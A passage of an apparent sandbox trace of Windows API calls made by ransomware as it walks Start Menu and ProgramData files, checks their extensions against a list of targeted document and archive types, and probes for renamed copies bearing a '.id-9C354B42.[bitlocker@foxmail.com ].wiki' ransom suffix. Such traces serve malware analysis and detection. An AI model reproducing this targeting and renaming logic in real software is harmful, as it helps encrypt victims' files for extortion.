[0171.886] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0171.886] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.886] lstrlenW (lpString=".jpg") returned 4 [0171.886] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0171.887] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.887] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.887] lstrlenW (lpString=".doc") returned 4 [0171.887] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0171.887] lstrlenW (lpString=".docx") returned 5 [0171.887] lstrcmpiW (lpString1=".docx", lpString2="1.msp") returned -1 [0171.887] lstrlenW (lpString=".pdf") returned 4 [0171.887] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0171.887] lstrlenW (lpString=".xls") returned 4 [0171.887] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0171.887] lstrlenW (lpString=".xlsx") returned 5 [0171.887] lstrcmpiW (lpString1=".xlsx", lpString2="1.msp") returned -1 [0171.887] lstrlenW (lpString=".ppt") returned 4 [0171.887] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0171.887] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.887] lstrlenW (lpString=".zip") returned 4 [0171.887] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0171.887] lstrlenW (lpString=".rar") returned 4 [0171.887] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0171.887] lstrlenW (lpString=".bz2") returned 4 [0171.887] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0171.887] lstrlenW (lpString=".7z") returned 3 [0171.887] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0171.887] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.887] lstrlenW (lpString=".dbf") returned 4 [0171.887] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0171.887] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.887] lstrlenW (lpString=".1cd") returned 4 [0171.887] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0171.887] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.887] lstrlenW (lpString=".jpg") returned 4 [0171.887] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0171.888] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0171.888] lstrlenW (lpString="displayswitch.lnk") returned 17 [0171.888] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0171.945] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1266) returned 1 [0171.945] CloseHandle (hObject=0x1a0) returned 1 [0171.946] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk")) returned 0x20 [0171.946] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.946] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.946] lstrlenW (lpString=".doc") returned 4 [0171.946] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.946] lstrlenW (lpString=".docx") returned 5 [0171.946] lstrcmpiW (lpString1=".docx", lpString2="h.lnk") returned -1 [0171.946] lstrlenW (lpString=".pdf") returned 4 [0171.946] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.946] lstrlenW (lpString=".xls") returned 4 [0171.946] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.946] lstrlenW (lpString=".xlsx") returned 5 [0171.946] lstrcmpiW (lpString1=".xlsx", lpString2="h.lnk") returned -1 [0171.946] lstrlenW (lpString=".ppt") returned 4 [0171.946] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.946] lstrlenW (lpString=".zip") returned 4 [0171.946] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.946] lstrlenW (lpString=".rar") returned 4 [0171.946] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.946] lstrlenW (lpString=".bz2") returned 4 [0171.946] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.946] lstrlenW (lpString=".7z") returned 3 [0171.946] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.947] lstrlenW (lpString=".dbf") returned 4 [0171.947] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.947] lstrlenW (lpString=".1cd") returned 4 [0171.947] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.947] lstrlenW (lpString=".jpg") returned 4 [0171.947] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.947] lstrlenW (lpString=".doc") returned 4 [0171.947] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.947] lstrlenW (lpString=".docx") returned 5 [0171.947] lstrcmpiW (lpString1=".docx", lpString2="h.lnk") returned -1 [0171.947] lstrlenW (lpString=".pdf") returned 4 [0171.947] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.947] lstrlenW (lpString=".xls") returned 4 [0171.947] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.947] lstrlenW (lpString=".xlsx") returned 5 [0171.947] lstrcmpiW (lpString1=".xlsx", lpString2="h.lnk") returned -1 [0171.947] lstrlenW (lpString=".ppt") returned 4 [0171.947] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.947] lstrlenW (lpString=".zip") returned 4 [0171.947] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.948] lstrlenW (lpString=".rar") returned 4 [0171.948] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.948] lstrlenW (lpString=".bz2") returned 4 [0171.948] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.948] lstrlenW (lpString=".7z") returned 3 [0171.948] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.948] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.948] lstrlenW (lpString=".dbf") returned 4 [0171.948] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.948] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.948] lstrlenW (lpString=".1cd") returned 4 [0171.948] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.948] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned 82 [0171.948] lstrlenW (lpString=".jpg") returned 4 [0171.948] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.948] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0171.948] lstrlenW (lpString="Math Input Panel.lnk") returned 20 [0171.948] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0171.949] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1364) returned 1 [0171.949] CloseHandle (hObject=0x1a0) returned 1 [0171.949] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk")) returned 0x20 [0171.949] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.949] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.949] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.949] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.949] lstrlenW (lpString=".doc") returned 4 [0171.949] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.949] lstrlenW (lpString=".docx") returned 5 [0171.949] lstrcmpiW (lpString1=".docx", lpString2="l.lnk") returned -1 [0171.949] lstrlenW (lpString=".pdf") returned 4 [0171.949] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.949] lstrlenW (lpString=".xls") returned 4 [0171.949] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.949] lstrlenW (lpString=".xlsx") returned 5 [0171.949] lstrcmpiW (lpString1=".xlsx", lpString2="l.lnk") returned -1 [0171.949] lstrlenW (lpString=".ppt") returned 4 [0171.949] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.949] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.949] lstrlenW (lpString=".zip") returned 4 [0171.949] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.950] lstrlenW (lpString=".rar") returned 4 [0171.950] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.950] lstrlenW (lpString=".bz2") returned 4 [0171.950] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.950] lstrlenW (lpString=".7z") returned 3 [0171.950] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.950] lstrlenW (lpString=".dbf") returned 4 [0171.950] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.950] lstrlenW (lpString=".1cd") returned 4 [0171.950] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.950] lstrlenW (lpString=".jpg") returned 4 [0171.950] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.950] lstrlenW (lpString=".doc") returned 4 [0171.950] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.950] lstrlenW (lpString=".docx") returned 5 [0171.950] lstrcmpiW (lpString1=".docx", lpString2="l.lnk") returned -1 [0171.950] lstrlenW (lpString=".pdf") returned 4 [0171.950] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.950] lstrlenW (lpString=".xls") returned 4 [0171.950] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.950] lstrlenW (lpString=".xlsx") returned 5 [0171.950] lstrcmpiW (lpString1=".xlsx", lpString2="l.lnk") returned -1 [0171.951] lstrlenW (lpString=".ppt") returned 4 [0171.951] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.951] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.951] lstrlenW (lpString=".zip") returned 4 [0171.951] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.951] lstrlenW (lpString=".rar") returned 4 [0171.951] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.951] lstrlenW (lpString=".bz2") returned 4 [0171.951] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.951] lstrlenW (lpString=".7z") returned 3 [0171.951] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.951] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.951] lstrlenW (lpString=".dbf") returned 4 [0171.951] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.951] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.951] lstrlenW (lpString=".1cd") returned 4 [0171.951] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.951] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned 85 [0171.951] lstrlenW (lpString=".jpg") returned 4 [0171.951] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.951] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0171.951] lstrlenW (lpString="Mobility Center.lnk") returned 19 [0171.951] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0171.953] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1238) returned 1 [0171.953] CloseHandle (hObject=0x1a0) returned 1 [0171.953] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk")) returned 0x20 [0171.953] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.953] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.953] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.953] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.953] lstrlenW (lpString=".doc") returned 4 [0171.953] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.953] lstrlenW (lpString=".docx") returned 5 [0171.953] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0171.953] lstrlenW (lpString=".pdf") returned 4 [0171.953] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.953] lstrlenW (lpString=".xls") returned 4 [0171.953] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.953] lstrlenW (lpString=".xlsx") returned 5 [0171.953] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0171.953] lstrlenW (lpString=".ppt") returned 4 [0171.953] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.953] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.954] lstrlenW (lpString=".zip") returned 4 [0171.954] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.954] lstrlenW (lpString=".rar") returned 4 [0171.954] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.954] lstrlenW (lpString=".bz2") returned 4 [0171.954] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.954] lstrlenW (lpString=".7z") returned 3 [0171.954] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.954] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.954] lstrlenW (lpString=".dbf") returned 4 [0171.954] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.954] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.954] lstrlenW (lpString=".1cd") returned 4 [0171.954] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.954] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.954] lstrlenW (lpString=".jpg") returned 4 [0171.954] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.954] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.954] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.954] lstrlenW (lpString=".doc") returned 4 [0171.954] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.954] lstrlenW (lpString=".docx") returned 5 [0171.954] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0171.954] lstrlenW (lpString=".pdf") returned 4 [0171.954] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.954] lstrlenW (lpString=".xls") returned 4 [0171.954] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.954] lstrlenW (lpString=".xlsx") returned 5 [0171.955] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0171.955] lstrlenW (lpString=".ppt") returned 4 [0171.955] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.955] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.955] lstrlenW (lpString=".zip") returned 4 [0171.955] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.955] lstrlenW (lpString=".rar") returned 4 [0171.955] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.955] lstrlenW (lpString=".bz2") returned 4 [0171.955] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.955] lstrlenW (lpString=".7z") returned 3 [0171.955] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.955] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.955] lstrlenW (lpString=".dbf") returned 4 [0171.955] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.955] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.955] lstrlenW (lpString=".1cd") returned 4 [0171.955] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.955] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned 84 [0171.955] lstrlenW (lpString=".jpg") returned 4 [0171.955] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.955] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0171.955] lstrlenW (lpString="NetworkProjection.lnk") returned 21 [0171.955] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0171.956] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1242) returned 1 [0171.956] CloseHandle (hObject=0x1a0) returned 1 [0171.956] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk")) returned 0x20 [0171.956] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.956] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.956] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.956] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.956] lstrlenW (lpString=".doc") returned 4 [0171.956] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.956] lstrlenW (lpString=".docx") returned 5 [0171.956] lstrcmpiW (lpString1=".docx", lpString2="n.lnk") returned -1 [0171.956] lstrlenW (lpString=".pdf") returned 4 [0171.956] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.956] lstrlenW (lpString=".xls") returned 4 [0171.956] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.956] lstrlenW (lpString=".xlsx") returned 5 [0171.956] lstrcmpiW (lpString1=".xlsx", lpString2="n.lnk") returned -1 [0171.957] lstrlenW (lpString=".ppt") returned 4 [0171.957] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.957] lstrlenW (lpString=".zip") returned 4 [0171.957] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.957] lstrlenW (lpString=".rar") returned 4 [0171.957] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0171.957] lstrlenW (lpString=".bz2") returned 4 [0171.957] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0171.957] lstrlenW (lpString=".7z") returned 3 [0171.957] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0171.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.957] lstrlenW (lpString=".dbf") returned 4 [0171.957] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0171.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.957] lstrlenW (lpString=".1cd") returned 4 [0171.957] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0171.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.957] lstrlenW (lpString=".jpg") returned 4 [0171.957] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0171.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.957] lstrlenW (lpString=".doc") returned 4 [0171.957] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0171.957] lstrlenW (lpString=".docx") returned 5 [0171.957] lstrcmpiW (lpString1=".docx", lpString2="n.lnk") returned -1 [0171.957] lstrlenW (lpString=".pdf") returned 4 [0171.958] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0171.958] lstrlenW (lpString=".xls") returned 4 [0171.958] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0171.958] lstrlenW (lpString=".xlsx") returned 5 [0171.958] lstrcmpiW (lpString1=".xlsx", lpString2="n.lnk") returned -1 [0171.958] lstrlenW (lpString=".ppt") returned 4 [0171.958] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0171.958] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned 86 [0171.958] lstrlenW (lpString=".zip") returned 4 [0171.958] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0171.958] lstrlenW (lpString=".rar") returned 